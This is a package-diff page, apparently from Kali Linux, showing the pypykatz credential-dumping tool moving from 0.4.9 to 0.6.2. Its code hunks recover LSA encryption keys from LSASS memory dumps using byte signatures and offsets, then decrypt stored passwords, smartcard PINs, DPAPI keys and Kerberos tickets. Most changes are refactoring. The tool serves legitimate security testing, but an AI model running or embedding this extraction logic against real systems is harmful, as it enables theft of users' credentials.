New upstream release.
Kali Janitor
1 year, 6 months ago
0 | Metadata-Version: 1.2 | |
0 | Metadata-Version: 2.1 | |
1 | 1 | Name: pypykatz |
2 | Version: 0.4.9 | |
2 | Version: 0.6.2 | |
3 | 3 | Summary: Python implementation of Mimikatz |
4 | 4 | Home-page: https://github.com/skelsec/pypykatz |
5 | 5 | Author: Tamas Jos |
6 | 6 | Author-email: [email protected] |
7 | License: UNKNOWN | |
8 | Description: UNKNOWN | |
9 | Platform: UNKNOWN | |
10 | 7 | Classifier: Programming Language :: Python :: 3.6 |
11 | 8 | Classifier: License :: OSI Approved :: MIT License |
12 | 9 | Classifier: Operating System :: OS Independent |
13 | 10 | Requires-Python: >=3.6 |
11 | License-File: LICENSE |
0 | ![Supported Python versions](https://img.shields.io/badge/python-3.7+-blue.svg) [![Twitter](https://img.shields.io/twitter/follow/skelsec?label=skelsec&style=social)](https://twitter.com/intent/follow?screen_name=skelsec) | |
1 | ||
2 | :triangular_flag_on_post: This is the public repository of PyPyKatz, for latest version and updates please consider supporting us through https://porchetta.industries/ | |
3 | ||
0 | 4 | # pypykatz |
1 | 5 | Mimikatz implementation in pure Python. At least a part of it :) |
2 | 6 | Runs on all OS's which support python>=3.6 |
3 | 7 | ![pypy_card](https://user-images.githubusercontent.com/19204702/71646030-221fe200-2ce1-11ea-9e2a-e587ea4790d7.jpg) |
4 | 8 | |
5 | ## Sponsors | |
6 | [<img src="https://user-images.githubusercontent.com/19204702/112737376-6e94b480-8f5a-11eb-8134-06397e83a3b9.png" width="130" height="130"/>](https://kovert.no/) | |
9 | ## :triangular_flag_on_post: Sponsors | |
10 | ||
11 | If you want to sponsors this project and have the latest updates on this project, latest issues fixed, latest features, please support us on https://porchetta.industries/ | |
12 | ||
13 | ## Official Discord Channel | |
14 | ||
15 | Come hang out on Discord! | |
16 | ||
17 | [![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/ycGXUxy) | |
18 | ||
7 | 19 | |
8 | 20 | |
9 | 21 | ## WIKI |
0 | pypykatz (0.6.2-0kali1) UNRELEASED; urgency=low | |
1 | ||
2 | * New upstream release. | |
3 | ||
4 | -- Kali Janitor <[email protected]> Wed, 02 Nov 2022 01:19:51 -0000 | |
5 | ||
0 | 6 | pypykatz (0.4.9-0kali1) kali-dev; urgency=medium |
1 | 7 | |
2 | 8 | [ Kali Janitor ] |
10 | 10 | import argparse |
11 | 11 | import glob |
12 | 12 | |
13 | from pypykatz import logger | |
13 | 14 | from pypykatz.utils.crypto.cmdhelper import CryptoCMDHelper |
14 | 15 | from pypykatz.ldap.cmdhelper import LDAPCMDHelper |
15 | 16 | from pypykatz.kerberos.cmdhelper import KerberosCMDHelper |
17 | 18 | from pypykatz.registry.cmdhelper import RegistryCMDHelper |
18 | 19 | from pypykatz.remote.cmdhelper import RemoteCMDHelper |
19 | 20 | from pypykatz.dpapi.cmdhelper import DPAPICMDHelper |
21 | from pypykatz.rdp.cmdhelper import RDPCMDHelper | |
22 | from pypykatz.parsers.cmdhelper import ParsersCMDHelper | |
20 | 23 | |
21 | cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), DPAPICMDHelper(), LDAPCMDHelper()] | |
24 | cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), DPAPICMDHelper(), LDAPCMDHelper(), RDPCMDHelper(), ParsersCMDHelper()] | |
22 | 25 | |
23 | 26 | try: |
24 | 27 | from pypykatz.smb.cmdhelper import SMBCMDHelper |
68 | 71 | ###### VERBOSITY |
69 | 72 | if args.verbose == 0: |
70 | 73 | logging.basicConfig(level=logging.INFO) |
74 | logger.setLevel(logging.INFO) | |
71 | 75 | elif args.verbose == 1: |
72 | 76 | logging.basicConfig(level=logging.DEBUG) |
77 | logger.setLevel(logging.DEBUG) | |
73 | 78 | else: |
74 | 79 | level = 5 - args.verbose |
75 | 80 | logging.basicConfig(level=level) |
81 | logger.setLevel(1) | |
76 | 82 | |
77 | 83 | ##### Common obj |
78 | 84 | #results = {} |
11 | 11 | import asyncio |
12 | 12 | import base64 |
13 | 13 | |
14 | from pypykatz import logging | |
14 | from pypykatz import logger | |
15 | 15 | from pypykatz.apypykatz import apypykatz |
16 | 16 | from pypykatz.commons.common import UniversalEncoder |
17 | 17 | from pypykatz.alsadecryptor.packages.msv.decryptor import LogonSession |
80 | 80 | print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True)) |
81 | 81 | |
82 | 82 | elif args.grep: |
83 | print(':'.join(LogonSession.grep_header)) | |
83 | if args.directory: | |
84 | print(':'.join(['filename'] + LogonSession.grep_header)) | |
85 | else: | |
86 | print(':'.join(LogonSession.grep_header)) | |
84 | 87 | for result in results: |
85 | 88 | for luid in results[result].logon_sessions: |
86 | 89 | for row in results[result].logon_sessions[luid].to_grep_rows(): |
90 | if args.directory: | |
91 | row = [result] + row | |
87 | 92 | print(':'.join(row)) |
88 | 93 | for cred in results[result].orphaned_creds: |
89 | 94 | t = cred.to_dict() |
90 | 95 | if t['credtype'] != 'dpapi': |
91 | 96 | if t['password'] is not None: |
92 | 97 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] |
98 | if args.directory: | |
99 | x = [result] + x | |
93 | 100 | print(':'.join(x)) |
94 | 101 | else: |
95 | 102 | t = cred.to_dict() |
96 | 103 | x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] |
104 | if args.directory: | |
105 | x = [result] + x | |
97 | 106 | print(':'.join(x)) |
98 | 107 | |
99 | 108 | for pkg, err in results[result].errors: |
100 | 109 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) |
101 | 110 | err_str = base64.b64encode(err_str.encode()).decode() |
102 | 111 | x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str] |
112 | if args.directory: | |
113 | x = [result] + x | |
103 | 114 | print(':'.join(x) + '\r\n') |
104 | 115 | |
105 | 116 | else: |
132 | 143 | |
133 | 144 | if args.kerberos_dir: |
134 | 145 | dir = os.path.abspath(args.kerberos_dir) |
135 | logging.info('Writing kerberos tickets to %s' % dir) | |
146 | logger.info('Writing kerberos tickets to %s' % dir) | |
136 | 147 | for filename in results: |
137 | 148 | base_filename = ntpath.basename(filename) |
138 | 149 | ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions |
163 | 174 | else: |
164 | 175 | globdata = os.path.join(dir_fullpath, file_pattern) |
165 | 176 | |
166 | logging.info('Parsing folder %s' % dir_fullpath) | |
177 | logger.info('Parsing folder %s' % dir_fullpath) | |
167 | 178 | for filename in glob.glob(globdata, recursive=args.recursive): |
168 | logging.info('Parsing file %s' % filename) | |
179 | logger.info('Parsing file %s' % filename) | |
169 | 180 | try: |
170 | print('await') | |
171 | 181 | mimi = await apypykatz.parse_minidump_file(filename, packages = args.packages) |
172 | 182 | results[filename] = mimi |
173 | 183 | except Exception as e: |
174 | 184 | files_with_error.append(filename) |
175 | logging.exception('Error parsing file %s ' % filename) | |
185 | logger.exception('Error parsing file %s ' % filename) | |
176 | 186 | if args.halt_on_error == True: |
177 | 187 | raise e |
178 | 188 | else: |
179 | 189 | pass |
180 | 190 | |
181 | 191 | else: |
182 | logging.info('Parsing file %s' % args.memoryfile) | |
192 | logger.info('Parsing file %s' % args.memoryfile) | |
183 | 193 | try: |
184 | 194 | mimi = await apypykatz.parse_minidump_file(args.memoryfile, packages = args.packages) |
185 | 195 | results[args.memoryfile] = mimi |
186 | 196 | except Exception as e: |
187 | logging.exception('Error while parsing file %s' % args.memoryfile) | |
197 | logger.exception('Error while parsing file %s' % args.memoryfile) | |
188 | 198 | if args.halt_on_error == True: |
189 | 199 | raise e |
190 | 200 | else: |
2 | 2 | # Author: |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | import io | |
6 | import logging | |
7 | from pypykatz.crypto.RC4 import RC4 | |
5 | ||
6 | from unicrypto.symmetric import RC4 | |
8 | 7 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor |
9 | 8 | from pypykatz.alsadecryptor.win_datatypes import LONG |
10 | 9 | |
87 | 86 | self.log('Looking for main struct signature in memory...') |
88 | 87 | fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature) |
89 | 88 | if len(fl) == 0: |
90 | logging.debug('signature not found! %s' % self.decryptor_template.signature.hex()) | |
89 | self.logger.log('signature not found! %s' % self.decryptor_template.signature.hex()) | |
91 | 90 | raise Exception('LSA signature not found!') |
92 | 91 | |
93 | 92 | self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) |
6 | 6 | |
7 | 7 | from pypykatz import logger |
8 | 8 | from pypykatz.commons.common import hexdump |
9 | from pypykatz.crypto.des import triple_des, CBC | |
10 | from pypykatz.crypto.aes import AESModeOfOperationCFB | |
9 | from unicrypto.symmetric import MODE_CBC, MODE_CFB, AES, TDES | |
11 | 10 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor |
12 | 11 | |
13 | 12 | class LsaDecryptor_NT6(PackageDecryptor): |
85 | 84 | if size % 8: |
86 | 85 | if not self.aes_key or not self.iv: |
87 | 86 | return cleartext |
88 | cipher = AESModeOfOperationCFB(self.aes_key, iv = self.iv) | |
87 | cipher = AES(self.aes_key, MODE_CFB, self.iv) | |
89 | 88 | cleartext = cipher.decrypt(encrypted) |
90 | 89 | else: |
91 | 90 | if not self.des_key or not self.iv: |
92 | 91 | return cleartext |
93 | cipher = triple_des(self.des_key, CBC, self.iv[:8]) | |
92 | cipher = TDES(self.des_key, MODE_CBC, self.iv[:8]) | |
94 | 93 | cleartext = cipher.decrypt(encrypted) |
95 | 94 | return cleartext |
96 | 95 |
65 | 65 | |
66 | 66 | elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber <= WindowsBuild.WIN_10_1507.value: |
67 | 67 | template = templates['nt6']['x86']['5'] |
68 | ||
69 | ||
70 | elif sysinfo.buildnumber > WindowsBuild.WIN_10_1507.value: | |
68 | ||
69 | elif WindowsBuild.WIN_10_1507.value > sysinfo.buildnumber < WindowsBuild.WIN_10_1909.value: | |
70 | #6 | |
71 | 71 | template = templates['nt6']['x86']['6'] |
72 | else: | |
73 | #7 | |
74 | template = templates['nt6']['x86']['7'] | |
72 | 75 | |
73 | 76 | elif sysinfo.architecture == KatzSystemArchitecture.X64: |
74 | 77 | |
221 | 224 | return res |
222 | 225 | |
223 | 226 | def verify(self): |
227 | return self.tag == b'KSSM' | |
228 | ||
229 | ||
230 | class KIWI_BCRYPT_KEY81_NEW: | |
231 | def __init__(self): | |
232 | self.size = None | |
233 | self.tag = None | |
234 | self.type = None | |
235 | self.unk0 = None | |
236 | self.unk1 = None | |
237 | self.unk2 = None | |
238 | self.unk3 = None | |
239 | self.unk4 = None | |
240 | self.unk5 = None #before, align in x64 | |
241 | self.unk6 = None | |
242 | self.unk7 = None | |
243 | self.unk8 = None | |
244 | self.unk9 = None | |
245 | self.unk10 = None | |
246 | self.hardkey = None | |
247 | ||
248 | @staticmethod | |
249 | async def load(reader): | |
250 | res = KIWI_BCRYPT_KEY81_NEW() | |
251 | res.size = await ULONG.loadvalue(reader) | |
252 | res.tag = await reader.read(4) # 'MSSK' | |
253 | res.type = await ULONG.loadvalue(reader) | |
254 | res.unk0 = await ULONG.loadvalue(reader) | |
255 | res.unk1 = await ULONG.loadvalue(reader) | |
256 | res.unk2 = await ULONG.loadvalue(reader) | |
257 | res.unk3 = await ULONG.loadvalue(reader) | |
258 | res.unk4 = await ULONG.loadvalue(reader) | |
259 | await reader.align() | |
260 | res.unk5 = await PVOID.load(reader) #before, align in x64 | |
261 | res.unk6 = await ULONG.loadvalue(reader) | |
262 | res.unk7 = await ULONG.loadvalue(reader) | |
263 | res.unk8 = await ULONG.loadvalue(reader) | |
264 | res.unk9 = await ULONG.loadvalue(reader) | |
265 | res.unk10 = await ULONG.loadvalue(reader) | |
266 | res.hardkey = await KIWI_HARD_KEY.load(reader) | |
267 | return res | |
268 | ||
269 | def verify(self): | |
224 | 270 | return self.tag == b'KSSM' |
225 | 271 | |
226 | 272 | |
415 | 461 | self.key_struct = KIWI_BCRYPT_KEY81 |
416 | 462 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY |
417 | 463 | |
418 | ||
464 | class LSA_x86_7(LsaTemplate_NT6): | |
465 | def __init__(self): | |
466 | LsaTemplate_NT6.__init__(self) | |
467 | ||
468 | self.key_pattern = LSADecyptorKeyPattern() | |
469 | self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' | |
470 | self.key_pattern.IV_length = 16 | |
471 | self.key_pattern.offset_to_IV_ptr = 5 | |
472 | self.key_pattern.offset_to_DES_key_ptr = -79 | |
473 | self.key_pattern.offset_to_AES_key_ptr = -22 | |
474 | ||
475 | self.key_struct = KIWI_BCRYPT_KEY81_NEW | |
476 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
419 | 477 | |
420 | 478 | templates = { |
421 | 479 | 'nt6' : { |
434 | 492 | '4' : LSA_x86_4(), |
435 | 493 | '5' : LSA_x86_5(), |
436 | 494 | '6' : LSA_x86_6(), |
495 | '7' : LSA_x86_7(), | |
437 | 496 | } |
438 | 497 | } |
439 | 498 | }⏎ |
4 | 4 | # |
5 | 5 | |
6 | 6 | from abc import ABC, abstractmethod |
7 | import logging | |
7 | from pypykatz import logger | |
8 | 8 | from pypykatz.commons.common import hexdump |
9 | 9 | from pypykatz.alsadecryptor.win_datatypes import RTL_AVL_TABLE |
10 | 10 | |
13 | 13 | self.package_name = package_name |
14 | 14 | self.module_name = module_name |
15 | 15 | self.sysinfo = sysinfo |
16 | self.logger = logging.getLogger('pypykatz') | |
16 | self.logger = logger | |
17 | 17 | |
18 | 18 | def get_level(self): |
19 | 19 | return self.logger.getEffectiveLevel() |
116 | 116 | if temp and len(temp) > 0: |
117 | 117 | if bytes_expected == False: |
118 | 118 | try: # normal password |
119 | dec_password = temp.decode('ascii') | |
119 | dec_password = temp.decode('utf-16-le') | |
120 | 120 | except: # machine password |
121 | 121 | try: |
122 | 122 | dec_password = temp.decode('utf-8') |
123 | 123 | except: |
124 | 124 | try: |
125 | dec_password = temp.decode('utf-16-le') | |
125 | dec_password = temp.decode('ascii') | |
126 | 126 | except: |
127 | 127 | dec_password = temp.hex() |
128 | 128 | else: # if not machine password, then check if we should trim it |
131 | 131 | else: |
132 | 132 | dec_password = temp |
133 | 133 | |
134 | return dec_password | |
134 | return dec_password, temp | |
135 | 135 | |
136 | 136 | async def walk_avl(self, node_ptr, result_ptr_list): |
137 | 137 | """ |
6 | 6 | from .credman.templates import * |
7 | 7 | from .dpapi.templates import * |
8 | 8 | from .dpapi.decryptor import * |
9 | #from .kerberos.templates import * | |
10 | #from .kerberos.decryptor import * | |
9 | from .kerberos.templates import * | |
10 | from .kerberos.decryptor import * | |
11 | 11 | from .livessp.templates import * |
12 | 12 | from .livessp.decryptor import * |
13 | 13 | from .msv.templates import * |
23 | 23 | |
24 | 24 | __credman__ = ['CredmanTemplate'] |
25 | 25 | __dpapi__ = ['DpapiTemplate', 'DpapiDecryptor', 'DpapiCredential'] |
26 | #__kerberos__ = ['KerberosTemplate','KerberosDecryptor'] | |
26 | __kerberos__ = ['KerberosTemplate','KerberosDecryptor'] | |
27 | 27 | __msv__ = ['MsvTemplate', 'MsvDecryptor', 'MsvCredential'] |
28 | 28 | __ssp__ = ['SspTemplate', 'SspDecryptor', 'SspCredential'] |
29 | 29 | __livessp__ = ['LiveSspTemplate', 'LiveSspDecryptor', 'LiveSspCredential'] |
33 | 33 | |
34 | 34 | |
35 | 35 | #__kerberos__ |
36 | __all__ = __cloudap__ + __credman__ + __dpapi__ + __msv__ + __ssp__ + __livessp__ + __tspkg__ + __wdigest__⏎ | |
36 | __all__ = __cloudap__ + __credman__ + __dpapi__ + __msv__ + __ssp__ + __livessp__ + __tspkg__ + __wdigest__ + __kerberos__⏎ |
57 | 57 | cred.cachedir = cache.toname.decode('utf-16-le').replace('\x00','') |
58 | 58 | if cache.cbPRT != 0 and cache.PRT.value != 0: |
59 | 59 | ptr_enc = await cache.PRT.read_raw(self.reader, cache.cbPRT) |
60 | temp = self.decrypt_password(ptr_enc, bytes_expected=True) | |
60 | temp, raw_dec = self.decrypt_password(ptr_enc, bytes_expected=True) | |
61 | 61 | try: |
62 | 62 | temp = temp.decode() |
63 | 63 | except: |
69 | 69 | unk = await cache.toDetermine.read(self.reader) |
70 | 70 | if unk is not None: |
71 | 71 | cred.key_guid = unk.guid.value |
72 | cred.dpapi_key = self.decrypt_password(unk.unk) | |
72 | cred.dpapi_key, raw_dec = self.decrypt_password(unk.unk) | |
73 | 73 | cred.dpapi_key_sha1 = hashlib.sha1(bytes.fromhex(cred.dpapi_key)).hexdigest() |
74 | 74 | |
75 | 75 | if cred.PRT is None and cred.key_guid is None: |
49 | 49 | return ptr_entry, ptr_entry_loc |
50 | 50 | |
51 | 51 | async def add_entry(self, dpapi_entry): |
52 | ||
52 | if dpapi_entry.key is None: | |
53 | return | |
54 | ||
53 | 55 | if dpapi_entry and dpapi_entry.keySize > 0: #and dpapi_entry.keySize % 8 == 0: |
54 | dec_masterkey = self.decrypt_password(dpapi_entry.key, bytes_expected = True) | |
56 | dec_masterkey, raw_dec = self.decrypt_password(dpapi_entry.key, bytes_expected = True) | |
55 | 57 | sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest() |
56 | 58 | |
57 | 59 | c = DpapiCredential() |
107 | 107 | res.KeyUid = await GUID.loadvalue(reader) |
108 | 108 | res.insertTime = await FILETIME.load(reader) |
109 | 109 | res.keySize = await ULONG.loadvalue(reader) |
110 | res.key = await reader.read(res.keySize) | |
110 | if res.keySize < 512: | |
111 | res.key = await reader.read(res.keySize) | |
112 | else: | |
113 | res.key = None | |
111 | 114 | return res |
5 | 5 | import io |
6 | 6 | |
7 | 7 | |
8 | from pypykatz.alsadecryptor.kerberosticket import KerberosTicket, KerberosTicketType | |
8 | from pypykatz.commons.kerberosticket import KerberosTicket, KerberosTicketType | |
9 | 9 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor |
10 | 10 | from pypykatz.alsadecryptor.win_datatypes import PLIST_ENTRY, PRTL_AVL_TABLE |
11 | 11 | from pypykatz.commons.common import WindowsMinBuild |
15 | 15 | self.credtype = 'kerberos' |
16 | 16 | self.username = None |
17 | 17 | self.password = None |
18 | self.password_raw = b'' | |
18 | 19 | self.domainname = None |
19 | 20 | self.luid = None |
20 | 21 | self.tickets = [] |
21 | 22 | self.pin = None |
23 | self.pin_raw = None | |
22 | 24 | self.cardinfo = None |
23 | 25 | |
24 | 26 | def __str__(self): |
27 | 29 | t += '\t\tDomain: %s\n' % self.domainname |
28 | 30 | if self.password is not None: |
29 | 31 | t += '\t\tPassword: %s\n' % self.password |
32 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
30 | 33 | if self.pin is not None: |
31 | 34 | t += '\t\tPIN: %s\n' % self.pin |
35 | t += '\t\tPIN (hex): %s\n' % self.pin_raw.hex() | |
32 | 36 | if self.cardinfo is not None: |
33 | 37 | t += '\t\tCARDINFO: \n' |
34 | 38 | t += '\t\t\tCardName: %s\n' % self.cardinfo['CardName'] |
49 | 53 | t['credtype'] = self.credtype |
50 | 54 | t['username'] = self.username |
51 | 55 | t['password'] = self.password |
56 | t['password_raw'] = self.password_raw | |
52 | 57 | t['domainname'] = self.domainname |
53 | 58 | t['luid'] = self.luid |
54 | 59 | t['pin'] = self.pin |
60 | t['pin_raw'] = self.pin_raw | |
55 | 61 | t['cardinfo'] = self.cardinfo |
56 | 62 | t['tickets'] = [] |
57 | 63 | for ticket in self.tickets: |
69 | 75 | self.current_ticket_type = None |
70 | 76 | self.current_cred = None |
71 | 77 | |
72 | def find_first_entry(self): | |
73 | position = self.find_signature('kerberos.dll',self.decryptor_template.signature) | |
74 | ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) | |
75 | ptr_entry = self.reader.get_ptr(ptr_entry_loc) | |
78 | async def find_first_entry(self): | |
79 | position = await self.find_signature('kerberos.dll',self.decryptor_template.signature) | |
80 | ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) | |
81 | ptr_entry = await self.reader.get_ptr(ptr_entry_loc) | |
76 | 82 | return ptr_entry, ptr_entry_loc |
77 | 83 | |
78 | def handle_ticket(self, kerberos_ticket): | |
84 | async def handle_ticket(self, kerberos_ticket): | |
79 | 85 | try: |
80 | kt = KerberosTicket.parse(kerberos_ticket, self.reader, self.decryptor_template.sysinfo, self.current_ticket_type) | |
86 | #input(kerberos_ticket) | |
87 | kt = await KerberosTicket.aparse(kerberos_ticket, self.reader, self.decryptor_template.sysinfo, self.current_ticket_type) | |
81 | 88 | self.current_cred.tickets.append(kt) |
82 | 89 | #print(str(kt)) |
83 | 90 | except Exception as e: |
84 | 91 | raise e |
85 | 92 | |
86 | def start(self): | |
93 | async def start(self): | |
87 | 94 | try: |
88 | entry_ptr_value, entry_ptr_loc = self.find_first_entry() | |
95 | entry_ptr_value, entry_ptr_loc = await self.find_first_entry() | |
89 | 96 | except Exception as e: |
90 | 97 | self.log('Failed to find structs! Reason: %s' % e) |
91 | 98 | return |
92 | 99 | |
93 | 100 | if self.sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: |
94 | self.reader.move(entry_ptr_loc) | |
95 | entry_ptr = PLIST_ENTRY(self.reader) | |
96 | self.walk_list(entry_ptr, self.process_session_elist) | |
101 | await self.reader.move(entry_ptr_loc) | |
102 | entry_ptr = await PLIST_ENTRY.load(self.reader) | |
103 | await self.walk_list(entry_ptr, self.process_session_elist) | |
97 | 104 | else: |
98 | 105 | result_ptr_list = [] |
99 | self.reader.move(entry_ptr_value) | |
100 | start_node = PRTL_AVL_TABLE(self.reader).read(self.reader) | |
101 | self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list) | |
106 | await self.reader.move(entry_ptr_value) | |
107 | avl_table = await PRTL_AVL_TABLE.load(self.reader) | |
108 | start_node = await avl_table.read(self.reader) | |
109 | await self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list) | |
102 | 110 | |
103 | 111 | for ptr in result_ptr_list: |
104 | self.log_ptr(ptr, self.decryptor_template.kerberos_session_struct.__name__) | |
105 | self.reader.move(ptr) | |
106 | kerberos_logon_session = self.decryptor_template.kerberos_session_struct(self.reader) | |
107 | self.process_session(kerberos_logon_session) | |
108 | ||
109 | def process_session_elist(self, elist): | |
110 | self.reader.move(elist.location) | |
111 | self.reader.read_uint() #Flink do not remove this line! | |
112 | self.reader.read_uint() #Blink do not remove this line! | |
113 | kerberos_logon_session = self.decryptor_template.kerberos_session_struct(self.reader) | |
114 | self.process_session(kerberos_logon_session) | |
115 | ||
116 | def process_session(self, kerberos_logon_session): | |
112 | await self.log_ptr(ptr, self.decryptor_template.kerberos_session_struct.__name__) | |
113 | await self.reader.move(ptr) | |
114 | kerberos_logon_session = await self.decryptor_template.kerberos_session_struct.load(self.reader) | |
115 | await self.process_session(kerberos_logon_session) | |
116 | ||
117 | async def process_session_elist(self, elist): | |
118 | await self.reader.move(elist.location) | |
119 | await self.reader.read_uint() #Flink do not remove this line! | |
120 | await self.reader.read_uint() #Blink do not remove this line! | |
121 | kerberos_logon_session = await self.decryptor_template.kerberos_session_struct.load(self.reader) | |
122 | await self.process_session(kerberos_logon_session) | |
123 | ||
124 | async def process_session(self, kerberos_logon_session): | |
117 | 125 | self.current_cred = KerberosCredential() |
118 | 126 | self.current_cred.luid = kerberos_logon_session.LocallyUniqueIdentifier |
119 | 127 | |
120 | self.current_cred.username = kerberos_logon_session.credentials.UserName.read_string(self.reader) | |
121 | self.current_cred.domainname = kerberos_logon_session.credentials.Domaine.read_string(self.reader) | |
122 | if self.current_cred.username.endswith('$') is True: | |
123 | self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True) | |
124 | if self.current_cred.password is not None: | |
125 | self.current_cred.password = self.current_cred.password.hex() | |
126 | else: | |
127 | self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader)) | |
128 | self.current_cred.username = await kerberos_logon_session.credentials.UserName.read_string(self.reader) | |
129 | self.current_cred.domainname = await kerberos_logon_session.credentials.Domaine.read_string(self.reader) | |
130 | pwdata = await kerberos_logon_session.credentials.Password.read_maxdata(self.reader) | |
131 | self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(pwdata) | |
128 | 132 | |
129 | 133 | if kerberos_logon_session.SmartcardInfos.value != 0: |
130 | csp_info = kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct) | |
131 | pin_enc = csp_info.PinCode.read_maxdata(self.reader) | |
132 | self.current_cred.pin = self.decrypt_password(pin_enc) | |
134 | csp_info = await kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct) | |
135 | pin_enc = await csp_info.PinCode.read_maxdata(self.reader) | |
136 | self.current_cred.pin, raw_dec = self.decrypt_password(pin_enc) | |
133 | 137 | if csp_info.CspDataLength != 0: |
134 | 138 | self.current_cred.cardinfo = csp_info.CspData.get_infos() |
135 | 139 | |
136 | 140 | #### key list (still in session) this is not a linked list (thank god!) |
137 | 141 | if kerberos_logon_session.pKeyList.value != 0: |
138 | key_list = kerberos_logon_session.pKeyList.read(self.reader, override_finaltype = self.decryptor_template.keys_list_struct) | |
142 | key_list = await kerberos_logon_session.pKeyList.read(self.reader, override_finaltype = self.decryptor_template.keys_list_struct) | |
139 | 143 | #print(key_list.cbItem) |
140 | key_list.read(self.reader, self.decryptor_template.hash_password_struct) | |
144 | await key_list.read(self.reader, self.decryptor_template.hash_password_struct) | |
141 | 145 | for key in key_list.KeyEntries: |
142 | 146 | pass |
143 | 147 | ### GOOD |
144 | 148 | #keydata_enc = key.generic.Checksump.read_raw(self.reader, key.generic.Size) |
145 | 149 | #print(keydata_enc) |
146 | #keydata = self.decrypt_password(keydata_enc, bytes_expected=True) | |
150 | #keydata, raw_dec = self.decrypt_password(keydata_enc, bytes_expected=True) | |
147 | 151 | #print(keydata_enc.hex()) |
148 | 152 | #input('KEY?') |
149 | 153 | |
203 | 207 | kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location and \ |
204 | 208 | kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location - 4 : |
205 | 209 | self.current_ticket_type = KerberosTicketType.TGS |
206 | self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
210 | await self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
207 | 211 | |
208 | 212 | if kerberos_logon_session.Tickets_2.Flink.value != 0 and \ |
209 | 213 | kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location and \ |
210 | 214 | kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location - 4 : |
211 | 215 | self.current_ticket_type = KerberosTicketType.CLIENT |
212 | self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
216 | await self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
213 | 217 | |
214 | 218 | if kerberos_logon_session.Tickets_3.Flink.value != 0 and \ |
215 | 219 | kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location and \ |
216 | 220 | kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location - 4 : |
217 | 221 | self.current_ticket_type = KerberosTicketType.TGT |
218 | self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
222 | await self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
219 | 223 | self.current_ticket_type = None |
220 | 224 | self.credentials.append(self.current_cred) |
221 | 225 |
199 | 199 | return template |
200 | 200 | |
201 | 201 | class PKERB_SMARTCARD_CSP_INFO_5(POINTER): |
202 | def __init__(self, reader): | |
203 | super().__init__(reader, KERB_SMARTCARD_CSP_INFO_5) | |
202 | def __init__(self): | |
203 | super().__init__() | |
204 | ||
205 | @staticmethod | |
206 | async def load(reader): | |
207 | p = PKERB_SMARTCARD_CSP_INFO_5() | |
208 | p.location = reader.tell() | |
209 | p.value = await reader.read_uint() | |
210 | p.finaltype = KERB_SMARTCARD_CSP_INFO_5 | |
211 | return p | |
204 | 212 | |
205 | 213 | |
206 | 214 | class KERB_SMARTCARD_CSP_INFO_5: |
207 | def __init__(self, reader, size): | |
215 | def __init__(self): | |
216 | #self.dwCspInfoLen = DWORD(reader).value | |
217 | self.ContextInformation = None | |
218 | self.nCardNameOffset = None | |
219 | self.nReaderNameOffset = None | |
220 | self.nContainerNameOffset = None | |
221 | self.nCSPNameOffset = None | |
222 | self.bBuffer = None | |
223 | ||
224 | ||
225 | @staticmethod | |
226 | async def load(reader, size): | |
227 | res = KERB_SMARTCARD_CSP_INFO_5() | |
208 | 228 | pos = reader.tell() |
